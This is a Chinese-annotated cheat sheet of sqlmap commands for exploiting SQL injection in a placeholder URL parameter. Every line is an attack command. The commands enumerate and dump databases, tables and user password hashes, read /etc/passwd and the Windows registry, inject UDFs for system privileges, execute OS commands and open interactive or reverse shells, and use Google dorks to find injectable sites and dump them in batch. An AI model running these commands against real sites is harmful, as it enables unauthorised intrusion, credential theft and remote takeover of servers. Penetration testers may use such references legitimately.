1.基础信息
python sqlmap/sqlmap.py -u"http://url/news?id=1"--current-user #获取当前用户名称
python sqlmap/sqlmap.py -u"http://www.xxoo.com/news?id=1"--current-db #获取当前数据库名称
python sqlmap/sqlmap.py-u"http://www.xxoo.com/news?id=1"--tables -D"db_name"#列表名
python sqlmap/sqlmap.py-u"http://url/news?id=1"--columns -T"tablename"users-D"db_name"-v0#列字段
python sqlmap/sqlmap.py-u"http://url/news?id=1"--dump -C"column_name"-T"table_name"-D"db_name"-v0#获取字段内容
2.信息内容
python sqlmap/sqlmap.py -u"http://url/news?id=1"--smart --level3--users # smart智能 level 执行测试等级python sqlmap/sqlmap.py -u"http://url/news?id=1"--dbms"Mysql"--users # dbms 指定数据库类型
python sqlmap/sqlmap.py -u"http://url/news?id=1"--users #列数据库用户
python sqlmap/sqlmap.py -u"http://url/news?id=1"--dbs#列数据库
python sqlmap/sqlmap.py -u"http://url/news?id=1"--passwords #数据库用户密码
python sqlmap/sqlmap.py -u"http://url/news?id=1"--passwords-U root -v0#列出指定用户数据库密码
python sqlmap/sqlmap.py -u"http://url/news?id=1"--dump -C"password,user,id"-T"tablename"-D"db_name"--start1--stop20#列出指定字段，列出20条
python sqlmap/sqlmap.py -u"http://url/news?id=1"--dump-all -v0#列出所有数据库所有表
python sqlmap/sqlmap.py -u"http://url/news?id=1"--privileges #查看权限
python sqlmap/sqlmap.py -u"http://url/news?id=1"--privileges -U root #查看指定用户权限
python sqlmap/sqlmap.py -u"http://url/news?id=1"--is-dba -v1#是否是数据库管理员
python sqlmap/sqlmap.py -u"http://url/news?id=1"--roles #枚举数据库用户角色
python sqlmap/sqlmap.py -u"http://url/news?id=1"--udf-inject #导入用户自定义函数（获取系统权限！）
python sqlmap/sqlmap.py -u"http://url/news?id=1"--dump-all --exclude-sysdbs -v0#列出当前库所有表
python sqlmap/sqlmap.py -u"http://url/news?id=1"--union-cols #union 查询表记录
python sqlmap/sqlmap.py -u"http://url/news?id=1"--cookie"COOKIE_VALUE"#cookie注入
python sqlmap/sqlmap.py -u"http://url/news?id=1"-b #获取banner信息
python sqlmap/sqlmap.py -u"http://url/news?id=1"--data"id=3"#post注入
python sqlmap/sqlmap.py -u"http://url/news?id=1"-v1-f #指纹判别数据库类型
python sqlmap/sqlmap.py -u"http://url/news?id=1"--proxy"http://127.0.0.1:8118"#代理注入
python sqlmap/sqlmap.py -u"http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"#指定关键词
python sqlmap/sqlmap.py -u"http://url/news?id=1"--sql-shell #执行指定sql命令
python sqlmap/sqlmap.py -u"http://url/news?id=1"--file /etc/passwd
python sqlmap/sqlmap.py -u"http://url/news?id=1"--os-cmd=whoami #执行系统命令python sqlmap/sqlmap.py -u"http://url/news?id=1"--os-shell #系统交互shell
python sqlmap/sqlmap.py -u"http://url/news?id=1"--os-pwn #反弹shell
python sqlmap/sqlmap.py -u"http://url/news?id=1"--reg-read #读取win系统注册表
python sqlmap/sqlmap.py -u"http://url/news?id=1"--dbs-o"sqlmap.log"#保存进度
python sqlmap/sqlmap.py -u"http://url/news?id=1"--dbs -o"sqlmap.log"--resume #恢复已保存进度sqlmap -g"google语法"--dump-all --batch #google搜索注入点自动 跑出所有字段攻击实例
python sqlmap/sqlmap.py -u"http://url/news?id=1&Submit=Submit"--cookie="PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406"--string="Surname"--dbms=mysql --users --password